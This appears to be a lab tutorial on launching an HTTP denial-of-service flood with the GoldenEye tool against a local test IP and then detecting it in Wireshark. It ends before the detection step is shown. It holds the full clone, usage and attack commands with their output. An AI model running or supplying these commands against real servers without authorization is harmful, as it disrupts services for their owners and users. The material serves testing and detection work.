Wireshark- DDoS Detection

GoldenEye is a popular open-source stress testing tool designed for evaluating the resilience and performance of web servers, primarily by conducting Denial of Service (DoS) attacks. Developed in Python, GoldenEye generates multiple HTTP requests to a target server to simulate high traffic and stress conditions, helping administrators identify potential weaknesses and prepare for real-world attack scenarios. It supports various customization options, such as setting the number of concurrent connections and adjusting the request headers, allowing for flexible and comprehensive testing. While powerful, GoldenEye should be used responsibly and only on servers for which the user has explicit permission to test, as unauthorized use can lead to legal consequences and network disruptions.

Wireshark, a widely-used network protocol analyzer, is an effective tool for detecting Distributed Denial of Service (DDoS) attacks. By capturing and analyzing real-time network traffic, Wireshark allows administrators to identify abnormal patterns indicative of a DDoS attack. These patterns can include a sudden surge in traffic volume, numerous requests from a single IP address or a range of IP addresses, and an overwhelming number of SYN packets indicating a SYN flood attack. Wireshark's powerful filtering capabilities enable users to isolate specific types of traffic, making it easier to pinpoint suspicious activity. Detailed packet inspection provided by Wireshark helps in

understanding the nature of the attack, aiding in the implementation of appropriate mitigation strategies. Using Wireshark, network administrators can gain valuable insights into traffic behavior, enhance security measures, and maintain network stability.

Examples: -

1. Firstly, clone the goldeneye tool from the github.

```
┌──(root㉿kali)-[/home/kali]
└─# git clone https://github.com/jseidl/GoldenEye.git
Cloning into 'GoldenEye' ...
remote: Enumerating objects: 102, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 102 (delta 0), reused 3 (delta 0), pack-reused 99
Receiving objects: 100% (102/102), 121.64 KiB | 889.00 KiB/s, done.
Resolving deltas: 100% (36/36), done.
```

2. Now move to its directory.

```
┌──(root㉿kali)-[/home/kali]
└─# cd GoldenEye

┌──(root㉿kali)-[/home/kali/GoldenEye]
└─# ls
goldeneye.py  README.md  res  util
```

3. Now to run the tool use ./goldeneye.py command.

```
┌──(root㉿kali)-[/home/kali/GoldenEye]
└─# ./goldeneye.py
Please supply at least the URL

________________________________________________________________________________

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>

 USAGE: ./goldeneye.py <url> [OPTIONS]

 OPTIONS:
        Flag                    Description                                             Default
        -u, --useragents        File with user-agents to use                            (default: randomly generated)
        -w, --workers           Number of concurrent workers                            (default: 10)
        -s, --sockets           Number of concurrent sockets                            (default: 500)
        -m, --method            HTTP Method to use 'get' or 'post'  or 'random'         (default: get)
        -n, --nosslcheck        Do not verify SSL Certificate                           (default: True)
        -d, --debug             Enable Debug Mode [more verbose output]                 (default: False)
        -h, --help              Shows this help

________________________________________________________________________________
```

4. To perform DDoS on target use the below given command.

```
┌──(root㉿kali)-[/home/kali/GoldenEye]
└─# ./goldeneye.py  http://192.168.0.233:80/ -s 10 -m random

GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>

Hitting webserver in mode 'random' with 10 workers running 10 connections each. Hit CTRL+C to cancel.
^CCTRL+C received. Killing all workers
Shutting down GoldenEye
```

5. Now in order to verify the attack open wireshark and use IP filter to capture that particular IP address filter.